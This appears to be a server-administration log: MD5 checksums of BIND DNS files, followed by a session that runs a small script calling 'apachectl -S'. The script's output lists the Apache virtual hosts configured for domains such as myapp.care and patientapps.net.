MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-24 10:29:33: Establishing a connection
2026-05-24 10:29:33: 

PUT: /tmp/pkp156942

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-05-24 10:29:34: 

chmod 755 /tmp/pkp156942; /tmp/pkp156942; rm /tmp/pkp156942

2026-05-24 10:29:34: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 80 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:2)
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
